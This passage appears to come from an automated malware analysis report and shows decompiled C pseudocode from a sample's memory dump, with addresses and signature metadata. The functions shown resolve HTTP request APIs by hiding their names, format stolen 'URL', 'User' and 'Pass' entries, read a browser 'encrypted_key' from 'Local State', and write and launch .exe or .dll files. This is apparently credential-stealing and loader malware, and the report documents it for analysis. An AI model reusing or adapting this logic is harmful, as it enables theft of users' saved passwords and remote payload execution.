                				_v52 = 0xa000d;
                				_v46 = 0;
                				_v42 = 0;
                				_v38 = 0;
                				_v34 = 0;
                				_v30 = 0;
                				_v124 = 0x720055;
                				_v120 = 0x3a006c;
                				_v116 = 9;
                				_v112 = 0;
                				_v108 = 0;
                				_v104 = 0;
                				_v76 = 0x730055;
                				_v72 = 0x720065;
                				_v68 = 0x9003a;
                				_v64 = 0;
                				_v62 = 0;
                				_v58 = 0;
                				_v54 = 0;
                				_v100 = 0x610050;
                				_v96 = 0x730073;
                				_v92 = 0x9003a;
                				_v88 = 0;
                				_v86 = 0;
                				_v82 = 0;
                				_v78 = 0;
                				 *((intOrPtr*)(_t203 + 0xa08)) = 4;
                				E0042067D( *_t13, 0x400);
                				_t41 = _t203 + 0xa04; // 0x8966ba45
                				E0042064D( *_t41,  &_v52, 6);
                				_t43 = _t203 + 0xa04; // 0x8966ba45
                				E00420AAD( *_t43,  &_v124, 0);
                				_t116 = E0042093D( &_v124);
                				_t46 = _t203 + 0xa04; // 0x8966ba45
                				 *((intOrPtr*)(_t203 + 0xa08)) =  *((intOrPtr*)(_t203 + 0xa08)) + _t116 + _t116;
                				E00420AAD( *_t46, _t197, 0);
                				_t119 = E0042093D(_t197);
                				_t49 = _t203 + 0xa04; // 0x8966ba45
                				 *((intOrPtr*)(_t203 + 0xa08)) =  *((intOrPtr*)(_t203 + 0xa08)) + _t119 + _t119;
                				E00420AAD( *_t49,  &_v52, 0);
                				_t123 = E0042093D( &_v52);
                				_t206 = _t204 + 0x44;
                				 *((intOrPtr*)(_t203 + 0xa08)) =  *((intOrPtr*)(_t203 + 0xa08)) + _t123 + _t123;
                				_t127 =  *((intOrPtr*)( *((intOrPtr*)(_a16 + 0x18))))( &_v28, 0,  &_v20, 0, 0, 0,  &_v12);
                				if(_t127 != 0) {
                					_t172 = _v8;
                					_t198 =  *_t172;
                					_t128 =  *((intOrPtr*)(_t172 + 4));
                					if(_v12 <  *((intOrPtr*)(_t172 + 8)) + _t198 + _t128) {
                						L10:
                						E0042062D(_t203, _t172);
                						return E004133BD(_t203, 2);
                					}
                					_t191 =  *(_t172 + 0x14) >> 1;
                					_t132 = _t128 + _t198 + _t172;
                					_t161 = _t172 + 0x24;
                					_a8 = _t128 + _t198 + _t172;
                					if(_t191 <= 0) {
                						L9:
                						goto L10;
                					}
                					_a12 = _t191;
                					while(1) {
                						_t70 = _t203 + 0xa04; // 0x8966ba45
                						E00420AAD( *_t70,  &_v76, 0);
                						 *((intOrPtr*)(_t203 + 0xa08)) =  *((intOrPtr*)(_t203 + 0xa08)) + E0042093D( &_v76) + _t135;
                						_t75 = _t203 + 0xa04; // 0x8966ba45
                						E00420AAD( *_t75,  *_t161 + _t132, 0);
                						_t139 = E0042093D( *_t161 + _t132);
                						_t76 = _t203 + 0xa04; // 0x8966ba45
                						 *((intOrPtr*)(_t203 + 0xa08)) =  *((intOrPtr*)(_t203 + 0xa08)) + _t139 + _t139;
                						E00420AAD( *_t76,  &_v52, 0);
                						_t143 = E0042093D( &_v52);
                						_t81 = _t203 + 0xa04; // 0x8966ba45
                						 *((intOrPtr*)(_t203 + 0xa08)) =  *((intOrPtr*)(_t203 + 0xa08)) + _t143 + _t143;
                						E00420AAD( *_t81,  &_v100, 0);
                						_t147 = E0042093D( &_v100);
                						_t88 = _t203 + 0xa04; // 0x8966ba45
                						 *((intOrPtr*)(_t203 + 0xa08)) =  *((intOrPtr*)(_t203 + 0xa08)) + _t147 + _t147;
                						E00420AAD( *_t88,  *((intOrPtr*)(_t161 + 0x10)) + _a8, 0);
                						 *((intOrPtr*)(_t203 + 0xa08)) =  *((intOrPtr*)(_t203 + 0xa08)) + E0042093D( *((intOrPtr*)(_t161 + 0x10)) + _a8) + _t150;
                						_t93 = _t203 + 0xa04; // 0x8966ba45
                						E00420AAD( *_t93,  &_v52, 0);
                						 *((intOrPtr*)(_t203 + 0xa08)) =  *((intOrPtr*)(_t203 + 0xa08)) + E0042093D( &_v52) + _t154;
                						_t98 = _t203 + 0xa04; // 0x8966ba45
                						_t161 = _t161 + 0x20;
                						E00420AAD( *_t98,  &_v52, 0);
                						 *((intOrPtr*)(_t203 + 0xa08)) =  *((intOrPtr*)(_t203 + 0xa08)) + E0042093D( &_v52) + _t158;
                						_t206 = _t206 + 0x70;
                						_t103 =  &_a12;
                						 *_t103 = _a12 - 1;
                						if( *_t103 == 0) {
                							break;
                						}
                						_t132 = _a8;
                					}
                					_t172 = _v8;
                					goto L9;
                				}
                				return _t127;
                			}























































                0x0041796b
                0x00417970
                0x00417972
                0x00417975
                0x0041797c
                0x0041797f
                0x0041797f
                0x00417982
                0x00417982
                0x00417985
                0x00417988
                0x0041798d
                0x00417994
                0x0041799a
                0x0041799f
                0x004179a3
                0x004179b1
                0x004179b8
                0x004179bb
                0x004179be
                0x004179c1
                0x004179c4
                0x004179c8
                0x004179cf
                0x004179d6
                0x004179dd
                0x004179e0
                0x004179e3
                0x004179e6
                0x004179ed
                0x004179f4
                0x004179fb
                0x004179ff
                0x00417a02
                0x00417a05
                0x00417a09
                0x00417a10
                0x00417a17
                0x00417a1e
                0x00417a22
                0x00417a25
                0x00417a28
                0x00417a2c
                0x00417a36
                0x00417a3b
                0x00417a48
                0x00417a4d
                0x00417a5a
                0x00417a63
                0x00417a68
                0x00417a72
                0x00417a7a
                0x00417a80
                0x00417a85
                0x00417a8d
                0x00417a9a
                0x00417aa6
                0x00417aad
                0x00417ab0
                0x00417ad0
                0x00417ad4
                0x00417ada
                0x00417add
                0x00417ae2
                0x00417aec
                0x00417c1b
                0x00417c1d
                0x00000000
                0x00417c2a
                0x00417af7
                0x00417af9
                0x00417afc
                0x00417aff
                0x00417b04
                0x00417c1a
                0x00000000
                0x00417c1a
                0x00417b0a
                0x00417b12
                0x00417b14
                0x00417b23
                0x00417b33
                0x00417b39
                0x00417b43
                0x00417b49
                0x00417b4e
                0x00417b5c
                0x00417b63
                0x00417b6c
                0x00417b71
                0x00417b79
                0x00417b8c
                0x00417b95
                0x00417b9a
                0x00417ba7
                0x00417baf
                0x00417bbc
                0x00417bc2
                0x00417bcf
                0x00417bdf
                0x00417be5
                0x00417bf2
                0x00417bf5
                0x00417c05
                0x00417c0b
                0x00417c0e
                0x00417c0e
                0x00417c11
                0x00000000
                0x00000000
                0x00417b0f
                0x00417b0f
                0x00417c17
                0x00000000
                0x00417c17
                0x00417c32

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: :$:$P$U$U$e$l$s
                • API String ID: 0-522774390
                • Opcode ID: 5f598444250309cc9944d7bb272d761fa1991be17716c342152ce9929ef8028f
                • Instruction ID: 7e1e48f1737d6a3e57207f80adec6ed966492753f4537a01d0daefe37cbad17d
                • Opcode Fuzzy Hash: 5f598444250309cc9944d7bb272d761fa1991be17716c342152ce9929ef8028f
                • Instruction Fuzzy Hash: A19148B1A00308AFDB10DFA4DC81BEEB7F5BF48304F54841EA1599B242EB78A941CB59
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 37%
                			E0041F27D(intOrPtr _a4, char _a8, char _a12, char _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36) {
                				char _v8;
                				intOrPtr _v12;
                				intOrPtr _v16;
                				intOrPtr _v20;
                				char _v24;
                				intOrPtr* _t32;
                				intOrPtr* _t33;
                
                				_t4 = _a4 + 0x960; // 0x961
                				_t32 = _t4;
                				_v24 = 0x70747448;
                				_v20 = 0x6e65704f;
                				_v16 = 0x75716552;
                				_v12 = 0x41747365;
                				_v8 = 0;
                				E0041F81D(_a4, _t32,  *((intOrPtr*)(_t18 + 0x14)),  &_v24);
                				_t33 =  *_t32;
                				if(_t33 == 0) {
                					return 0;
                				} else {
                					_t15 =  &_a16; // 0x70747448
                					_t16 =  &_a12; // 0x6e65704f
                					_t17 =  &_a8; // 0x75716552
                					return  *_t33( *_t17,  *_t16,  *_t15, _a20, _a24, _a28, _a32, _a36);
                				}
                			}










                0x0041f28f
                0x0041f28f
                0x0041f297
                0x0041f29e
                0x0041f2a5
                0x0041f2ac
                0x0041f2b3
                0x0041f2b7
                0x0041f2bc
                0x0041f2c3
                0x0041f2f2
                0x0041f2c5
                0x0041f2d7
                0x0041f2db
                0x0041f2df
                0x0041f2eb
                0x0041f2eb

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: Http$HttpOpenRequestA$HttpOpenRequestA$Open$OpenRequestA$Requ$RequestA$estA
                • API String ID: 0-4016285707
                • Opcode ID: 6c1eafa3af226a689b846ded80bf8f0a7dd1c2f620c7b46790f01cf217bfb4e9
                • Instruction ID: 3ba16c71b236410167e39b03a0bd51d345191addffd725c1ed8bebbd4b063da5
                • Opcode Fuzzy Hash: 6c1eafa3af226a689b846ded80bf8f0a7dd1c2f620c7b46790f01cf217bfb4e9
                • Instruction Fuzzy Hash: DC01E9B2A05118AFCB04DF98D841DEF7BBCEB48210F158299FD08A7305D635ED11CBA5
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 37%
                			E0041F2FD(intOrPtr _a4, char _a8, char _a12, char _a16, intOrPtr _a20, intOrPtr _a24) {
                				char _v8;
                				intOrPtr _v12;
                				intOrPtr _v16;
                				intOrPtr _v20;
                				char _v24;
                				intOrPtr* _t26;
                				intOrPtr* _t27;
                
                				_t4 = _a4 + 0x964; // 0x964
                				_t26 = _t4;
                				_v24 = 0x70747448;
                				_v20 = 0x646e6553;
                				_v16 = 0x75716552;
                				_v12 = 0x41747365;
                				_v8 = 0;
                				E0041F81D(_a4, _t26,  *((intOrPtr*)(_t15 + 0x14)),  &_v24);
                				_t27 =  *_t26;
                				if(_t27 == 0) {
                					return 0;
                				} else {
                					_t12 =  &_a16; // 0x70747448
                					_t13 =  &_a12; // 0x646e6553
                					_t14 =  &_a8; // 0x75716552
                					return  *_t27( *_t14,  *_t13,  *_t12, _a20, _a24);
                				}
                			}










                0x0041f30f
                0x0041f30f
                0x0041f317
                0x0041f31e
                0x0041f325
                0x0041f32c
                0x0041f333
                0x0041f337
                0x0041f33c
                0x0041f343
                0x0041f366
                0x0041f345
                0x0041f34b
                0x0041f34f
                0x0041f353
                0x0041f35f
                0x0041f35f

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: Http$HttpSendRequestA$HttpSendRequestA$Requ$RequestA$Send$SendRequestA$estA
                • API String ID: 0-2503632690
                • Opcode ID: 177ccb57ee224b759035b8d17f1308ad0ebf8aeb9cb95bc6b42b40d67c27329b
                • Instruction ID: dab7180589ca767a19239dce257a971dce670b0752ec19d730e2ebb3a3717626
                • Opcode Fuzzy Hash: 177ccb57ee224b759035b8d17f1308ad0ebf8aeb9cb95bc6b42b40d67c27329b
                • Instruction Fuzzy Hash: 62014BB2905118AFCB00DF98D841AEFBBB8EB48210F108199FD18A7304D670EE10CBE1
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 37%
                			E0041F36D(intOrPtr _a4, char _a8, char _a12, char _a16, intOrPtr _a20) {
                				char _v8;
                				intOrPtr _v12;
                				intOrPtr _v16;
                				intOrPtr _v20;
                				char _v24;
                				intOrPtr* _t24;
                				intOrPtr* _t25;
                
                				_t4 = _a4 + 0x968; // 0x1f4968
                				_t24 = _t4;
                				_v24 = 0x65746e49;
                				_v20 = 0x74656e72;
                				_v16 = 0x64616552;
                				_v12 = 0x656c6946;
                				_v8 = 0;
                				E0041F81D(_a4, _t24,  *((intOrPtr*)(_t14 + 0x14)),  &_v24);
                				_t25 =  *_t24;
                				if(_t25 == 0) {
                					return 0;
                				} else {
                					_t11 =  &_a16; // 0x65746e49
                					_t12 =  &_a12; // 0x74656e72
                					_t13 =  &_a8; // 0x64616552
                					return  *_t25( *_t13,  *_t12,  *_t11, _a20);
                				}
                			}










                0x0041f37f
                0x0041f37f
                0x0041f387
                0x0041f38e
                0x0041f395
                0x0041f39c
                0x0041f3a3
                0x0041f3a7
                0x0041f3ac
                0x0041f3b3
                0x0041f3d2
                0x0041f3b5
                0x0041f3b8
                0x0041f3bb
                0x0041f3bf
                0x0041f3cb
                0x0041f3cb

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: File$File$Inte$InternetReadFile$Read$ReadFile$rnet$rnetReadFile
                • API String ID: 0-3169538877
                • Opcode ID: 86965688d4b5f8cfc7133b966bcb9e78e22610912a41674a6609cbccef5eacd5
                • Instruction ID: 317b5e96e4ebe63fe24c1908d2bbbaf9cfa2fe4b9e770ded0a66fd44ec203a3a
                • Opcode Fuzzy Hash: 86965688d4b5f8cfc7133b966bcb9e78e22610912a41674a6609cbccef5eacd5
                • Instruction Fuzzy Hash: E7011DB2905119AFCB00DF98D945AEF7BB8EB44210F148199ED58AB205D670AE10CBE2
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 51%
                			E004342BD(void* __fp0, intOrPtr _a4, char _a8, char _a12) {
                				intOrPtr _v8;
                				char _v62;
                				short _v64;
                				intOrPtr _v68;
                				char _v72;
                				char _v126;
                				short _v128;
                				intOrPtr _v132;
                				char _v136;
                				char _v148;
                				char _v211;
                				char _v212;
                				char _v466;
                				char _v468;
                				char _v595;
                				char _v596;
                				char _v723;
                				char _v724;
                				void* __ebx;
                				void* __edi;
                				void* __ebp;
                				char* _t58;
                				char* _t59;
                				signed int _t63;
                				void* _t69;
                				intOrPtr* _t70;
                				void* _t76;
                				char _t78;
                				intOrPtr _t89;
                				void* _t90;
                				void* _t91;
                				intOrPtr _t104;
                				intOrPtr _t108;
                				void* _t109;
                				intOrPtr* _t113;
                				intOrPtr _t115;
                				void* _t116;
                				void* _t117;
                				void* _t118;
                				void* _t119;
                				void* _t135;
                
                				_t135 = __fp0;
                				_t78 = _a8;
                				if(_t78 == 0) {
                					L14:
                					return 4;
                				} else {
                					_t2 =  &_a12; // 0x432ee3
                					_t104 =  *_t2;
                					if(_t104 == 0) {
                						goto L14;
                					} else {
                						_push(0x7f);
                						_push(0);
                						_push( &_v723);
                						_v724 = 0;
                						L004494CD();
                						_push(0xfe);
                						_push(0);
                						_push( &_v466);
                						_v468 = 0;
                						L004494CD();
                						_push(0x7f);
                						_push(0);
                						_push( &_v595);
                						_v596 = 0;
                						L004494CD();
                						_push(0x36);
                						_push(0);
                						_push( &_v62);
                						_a8 = 0x5c;
                						_v72 = 0x65002e;
                						_v68 = 0x650078;
                						_v64 = 0;
                						L004494CD();
                						_push(0x36);
                						_push(0);
                						_push( &_v126);
                						_v136 = 0x64002e;
                						_v132 = 0x6c006c;
                						_v128 = 0;
                						L004494CD();
                						_t58 = _t78 + _t104 - 1;
                						_t118 = _t117 + 0x3c;
                						if( *_t58 != 0x31) {
                							_push(_t78);
                							_push( &_v148);
                							L0044917D();
                							_t118 = _t118 + 8;
                							if(_t58 != 0) {
                								goto L6;
                							} else {
                								goto L14;
                							}
                						} else {
                							 *_t58 = 0;
                							_t91 = 1;
                							while( *_t58 != 0x2e) {
                								_t91 = _t91 + 1;
                								_t58 = _t58 - 1;
                								if(_t91 < 0xe) {
                									continue;
                								}
                								L6:
                								_push(8);
                								_t59 =  &_v72;
                								_push(_t59);
                								_push( &_v136);
                								L0044975D();
                								_t119 = _t118 + 0xc;
                								_v8 = _t59;
                								if(_t59 != 0) {
                									_t76 = 1;
                									_t113 = _t104 + _t78 - 1;
                									while(1) {
                										_t89 =  *_t113;
                										if(_t89 == 0 || _t89 == 0x3a) {
                											break;
                										}
                										_t76 = _t76 + 1;
                										_t113 = _t113 - 1;
                										if(_t76 < 0x40) {
                											continue;
                										} else {
                										}
                										goto L16;
                									}
                									_t28 = _t76 - 1; // 0x0
                									_t90 = _t28;
                									_push(_t90);
                									_t115 = _t104 - _t76;
                									_push(_t104 - _t90 + _t78);
                									_push( &_v596);
                									 *((char*)(_t115 + _t78)) = 0;
                									L0044944D();
                									_t119 = _t119 + 0xc;
                									_t104 = _t115;
                								}
                								L16:
                								_t108 = _a4;
                								E0043923D(_t108,  &_v468, 4, 0);
                								_push( &_v468);
                								L0044973D();
                								_push(0);
                								_push( &_a8);
                								_push( &_v468);
                								L004498AD();
                								_t63 = E0043864D( &_v468, 5, 8);
                								_push(_t63 & 0x000000ff);
                								_push( &_v468);
                								L0044973D();
                								_push(_t116 + _t63 * 2 - 0x1d0);
                								L0044A3FD();
                								_push(0);
                								_push( &_v72);
                								_push( &_v468);
                								L004498AD();
                								_push(0);
                								_push(0x1c);
                								_push( &_v468);
                								_push(_t108);
                								 *((intOrPtr*)(_t108 + 0xb34)) = _t78;
                								 *((intOrPtr*)(_t108 + 0xb38)) = _t104;
                								if(E00442DFD( &_v468,  &_v72) != 0) {
                									if(_v8 == 0) {
                										_push(0x3f);
                										_push(0);
                										_push( &_v211);
                										_v212 = 0;
                										L004494CD();
                										_push( &_v468);
                										_push( &_v724);
                										L00449AED();
                										_push(7);
                										_push( &_v212);
                										L0044A0AD();
                										_t109 = _t108 + 0x1c;
                										_t69 = E00438EED(_t109,  &_v212);
                										_push(0x10ca36dd);
                										_push(0);
                										_push(0);
                										_push(_t69);
                										_push(_t109);
                										_t70 = E004431FD(_t69, _t78, _t104, _t135);
                										if(_t70 != 0) {
                											 *_t70(0, 0,  &_v724, 0, 0, 0xa);
                										}
                										return 2;
                									} else {
                										E00433FBD(_t108, _t78, _t104,  &_v468,  &_v596);
                										return 2;
                									}
                								} else {
                									return 4;
                								}
                								goto L23;
                							}
                							_t104 = _t104 - _t91;
                							_push(_t104 + _t78);
                							_push( &_v72);
                							L00449B3D();
                							_t118 = _t118 + 8;
                							goto L6;
                						}
                					}
                				}
                				L23:
                			}












































                0x004342bd
                0x004342c7
                0x004342cd
                0x004343fa
                0x00434403
                0x004342d3
                0x004342d3
                0x004342d3
                0x004342d8
                0x00000000
                0x004342de
                0x004342de
                0x004342e6
                0x004342e8
                0x004342e9
                0x004342f0
                0x004342f7
                0x004342fc
                0x00434303
                0x00434304
                0x0043430b
                0x00434310
                0x00434318
                0x0043431a
                0x0043431b
                0x00434322
                0x00434329
                0x0043432b
                0x0043432f
                0x00434330
                0x00434337
                0x0043433e
                0x00434345
                0x00434349
                0x00434350
                0x00434352
                0x00434356
                0x00434357
                0x00434361
                0x00434368
                0x0043436c
                0x00434371
                0x00434375
                0x0043437b
                0x004343eb
                0x004343ec
                0x004343ed
                0x004343f2
                0x004343f7
                0x00000000
                0x00000000
                0x00000000
                0x00000000
                0x0043437d
                0x0043437d
                0x00434380
                0x00434385
                0x0043438a
                0x0043438b
                0x0043438f
                0x00000000
                0x00000000
                0x00434391
                0x00434392
                0x00434394
                0x00434397
                0x0043439e
                0x0043439f
                0x004343a4
                0x004343a7
                0x004343ac
                0x004343ae
                0x004343b3
                0x004343bd
                0x004343bd
                0x004343c1
                0x00000000
                0x00000000
                0x004343c8
                0x004343c9
                0x004343cd
                0x00000000
                0x00000000
                0x004343cf
                0x00000000
                0x004343cd
                0x00434404
                0x00434404
                0x0043440b
                0x00434414
                0x00434416
                0x00434417
                0x00434418
                0x0043441c
                0x00434421
                0x00434424
                0x00434424
                0x00434426
                0x00434426
                0x00434435
                0x00434440
                0x00434441
                0x00434446
                0x0043444b
                0x00434452
                0x00434453
                0x0043445c
                0x00434467
                0x0043446e
                0x0043446f
                0x0043447e
                0x0043447f
                0x00434484
                0x00434489
                0x00434490
                0x00434491
                0x00434496
                0x00434498
                0x004344a0
                0x004344a1
                0x004344a2
                0x004344a8
                0x004344b8
                0x004344ca
                0x004344f1
                0x004344f9
                0x004344fb
                0x004344fc
                0x00434503
                0x0043450e
                0x00434515
                0x00434516
                0x00434521
                0x00434523
                0x00434524
                0x00434530
                0x00434534
                0x00434539
                0x0043453e
                0x00434540
                0x00434542
                0x00434543
                0x00434544
                0x0043454e
                0x00434561
                0x00434561
                0x0043456e
                0x004344cc
                0x004344dd
                0x004344f0
                0x004344f0
                0x004344ba
                0x004344c5
                0x004344c5
                0x00000000
                0x004344b8
                0x004343d1
                0x004343d6
                0x004343da
                0x004343db
                0x004343e0
                0x00000000
                0x004343e0
                0x0043437b
                0x004342d8
                0x00000000

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: $.$.$\$l$x$.C
                • API String ID: 0-963080520
                • Opcode ID: 3e68123e14dd1dfb4253731d1c8b918b4a09fd257062b191afaf7a1c19340782
                • Instruction ID: fdb109c50290a31546892b4634bbb6fa13f1f44a7d8617553e2599ff76d11102
                • Opcode Fuzzy Hash: 3e68123e14dd1dfb4253731d1c8b918b4a09fd257062b191afaf7a1c19340782
                • Instruction Fuzzy Hash: AC71CC719002186AEB21DB55CC86FEFB378EF58704F04419FF909A7181E7B96E44CB65
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 86%
                			E0041742D(void* __edi, void* __fp0, intOrPtr _a4) {
                				short _v6;
                				short _v10;
                				short _v14;
                				short _v18;
                				short _v22;
                				short _v24;
                				intOrPtr _v28;
                				intOrPtr _v32;
                				char _v36;
                				char _v37;
                				char _v41;
                				char _v45;
                				char _v49;
                				char _v53;
                				char _v57;
                				char _v61;
                				char _v65;
                				char _v66;
                				char _v68;
                				short _v72;
                				short _v76;
                				short _v80;
                				short _v84;
                				short _v88;
                				short _v92;
                				short _v96;
                				short _v100;
                				short _v104;
                				short _v108;
                				short _v110;
                				short _v112;
                				intOrPtr _v116;
                				intOrPtr _v120;
                				intOrPtr _v124;
                				intOrPtr _v128;
                				char _v132;
                				char _v650;
                				char _v652;
                				void* __ebx;
                				void* __esi;
                				void* __ebp;
                				intOrPtr _t64;
                				signed int _t73;
                				void* _t77;
                				void* _t78;
                				void* _t85;
                				void* _t103;
                				char* _t105;
                				intOrPtr _t107;
                				void* _t108;
                				void* _t109;
                				void* _t110;
                				void* _t113;
                				void* _t114;
                				void* _t115;
                
                				_t107 = _a4;
                				if( *((intOrPtr*)(_t107 + 0xb8c)) == 0) {
                					_v652 = 0;
                					E004206CD( &_v650, 0, 0x206);
                					_t64 = E004205AD(_t107, 0, 0x1000, 0x3000, 4);
                					_t110 = _t109 + 0x20;
                					 *((intOrPtr*)(_t107 + 0xb8c)) = _t64;
                					if(_t64 != 0) {
                						_v65 = 0;
                						_v61 = 0;
                						_v57 = 0;
                						_v53 = 0;
                						_v49 = 0;
                						_v45 = 0;
                						_v41 = 0;
                						_v37 = 0;
                						_v112 = 0x65;
                						_push(0);
                						_v108 = 0;
                						_v104 = 0;
                						_v100 = 0;
                						_v96 = 0;
                						_v92 = 0;
                						_v88 = 0;
                						_v84 = 0;
                						_v80 = 0;
                						_v76 = 0;
                						_v72 = 0;
                						_v22 = 0;
                						_v18 = 0;
                						_v14 = 0;
                						_v10 = 0;
                						_v6 = 0;
                						_push(1);
                						_push( &_v652);
                						_push(_t107);
                						_v68 = 0x7d22;
                						_v66 = 0;
                						_v132 = 0x6f004c;
                						_v128 = 0x610063;
                						_v124 = 0x20006c;
                						_v120 = 0x740053;
                						_v116 = 0x740061;
                						_v110 = 0;
                						_v36 = 0x72636e65;
                						_v32 = 0x65747079;
                						_v28 = 0x656b5f64;
                						_v24 = 0x79;
                						L0041043D(0x65, 0, __edi, _t107);
                						_push(1);
                						_push(0x23);
                						_push(_t108 + E0042093D( &_v652) * 2 - 0x288);
                						_push(_t107);
                						L0041043D( &_v652, _t108 + E0042093D( &_v652) * 2 - 0x288, __edi, _t107);
                						_t73 = E0042093D( &_v652);
                						_t113 = _t110 + 0x28;
                						if(_t73 < 0x16) {
                							goto L3;
                						} else {
                							_push(__edi);
                							 *((short*)(_t108 + _t73 * 2 - 0x2ac)) = 0;
                							E00420AAD( &_v652,  &_v132, 0);
                							_t97 =  &_v652;
                							_t77 = E00419FFD(_t107,  &_v652, 0x15, 0);
                							_t101 =  &_v652;
                							_t103 = _t77;
                							_t78 = E00419FFD(_t107,  &_v652, 1, 0);
                							_t90 = _t78;
                							_t114 = _t113 + 0x2c;
                							if(_t78 == 0 || _t103 == 0) {
                								return 0;
                							} else {
                								_t55 =  &_v36; // 0x72636e65
                								_t105 = E004209CD(_t90, _t55);
                								_t115 = _t114 + 8;
                								if(_t105 != 0) {
                									_t56 =  &_v36; // 0x72636e65
                									_t97 = _t56;
                									_t85 = E0042091D(_t56);
                									_t101 =  &_v68;
                									_t105 = _t105 + _t85 + 3;
                									_t81 = E004209CD(_t105,  &_v68);
                									_t115 = _t115 + 0xc;
                									 *_t81 = 0;
                									if( *_t105 != 0) {
                										_t81 = E0042091D(_t105);
                										_t115 = _t115 + 4;
                										if(_t81 < 0x400) {
                											_t81 = E0042064D( *((intOrPtr*)(_t107 + 0xb8c)), _t105, E0042091D(_t105));
                											_t115 = _t115 + 0x10;
                										}
                									}
                								}
                								_push(_t107);
                								 *((intOrPtr*)(_t107 + 0xb80)) = L00407C3D(_t81, _t90, _t97, _t101, _t105);
                								E0042062D(_t107, _t90);
                								return 1;
                							}
                						}
                					} else {
                						L3:
                						return 0;
                					}
                				} else {
                					return 1;
                				}
                			}


























































                0x00417437
                0x00417441
                0x0041745c
                0x00417463
                0x00417477
                0x0041747c
                0x0041747f
                0x00417487
                0x00417492
                0x00417495
                0x00417498
                0x0041749b
                0x0041749e
                0x004174a1
                0x004174a4
                0x004174a7
                0x004174b1
                0x004174b7
                0x004174b8
                0x004174bb
                0x004174be
                0x004174c1
                0x004174c4
                0x004174c7
                0x004174ca
                0x004174cd
                0x004174d0
                0x004174d3
                0x004174d6
                0x004174d9
                0x004174dc
                0x004174df
                0x004174e2
                0x004174e6
                0x004174ee
                0x004174f1
                0x004174f2
                0x004174f8
                0x004174fc
                0x00417503
                0x0041750a
                0x00417511
                0x00417518
                0x0041751f
                0x00417523
                0x0041752a
                0x00417531
                0x00417538
                0x0041753e
                0x00417546
                0x0041754e
                0x00417560
                0x00417561
                0x00417562
                0x0041756e
                0x00417573
                0x00417579
                0x00000000
                0x0041757f
                0x00417580
                0x00417587
                0x00417597
                0x004175a0
                0x004175a8
                0x004175b1
                0x004175b9
                0x004175bb
                0x004175c0
                0x004175c2
                0x004175c7
                0x00417657
                0x004175d1
                0x004175d1
                0x004175db
                0x004175dd
                0x004175e2
                0x004175e4
                0x004175e4
                0x004175e8
                0x004175ed
                0x004175f0
                0x004175f6
                0x004175fb
                0x004175fe
                0x00417604
                0x00417607
                0x0041760c
                0x00417614
                0x00417625
                0x0041762a
                0x0041762a
                0x00417614
                0x00417604
                0x0041762d
                0x00417635
                0x0041763b
                0x0041764e
                0x0041764e
                0x004175c7
                0x00417489
                0x00417489
                0x0041748f
                0x0041748f
                0x00417443
                0x0041744c
                0x0041744c

                Strings
                Memory Dump Source
                • Source File: 00000000.00000002.833081784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                • Associated: 00000000.00000002.833073044.0000000000400000.00000002.00020000.sdmp Download File
                • Associated: 00000000.00000002.833343438.0000000000445000.00000004.00020000.sdmp Download File
                • Associated: 00000000.00000002.833358245.0000000000446000.00000002.00020000.sdmp Download File
                Yara matches
                Similarity
                • API ID:
                • String ID: "}$L$S$a$c$encrypted_keyqvA$l
                • API String ID: 0-3558521137
                • Opcode ID: 05088cf6560e34dba202b5cef35cbbba58937ddb0c50311645c06850512f471c
                • Instruction ID: d591e7185c50e5026a56411b199e3f7f0266e3300f5f128d3f463a4160f618ca
                • Opcode Fuzzy Hash: 05088cf6560e34dba202b5cef35cbbba58937ddb0c50311645c06850512f471c
                • Instruction Fuzzy Hash: 8D5182B1D01218AEDB50DFA9DC45BEEB7F8AF48304F40416EF508E7242EB795984CB99
                Uniqueness

                Uniqueness Score: -1.00%

                C-Code - Quality: 100%
                			E00413CCD(intOrPtr _a4) {
                				short _v8;
                				intOrPtr _v12;
                				intOrPtr _v16;
                				intOrPtr _v20;
                				char _v24;
                				intOrPtr _v28;
                				intOrPtr _v32;
                				intOrPtr _v36;
                				char _v40;
                				char _v1062;
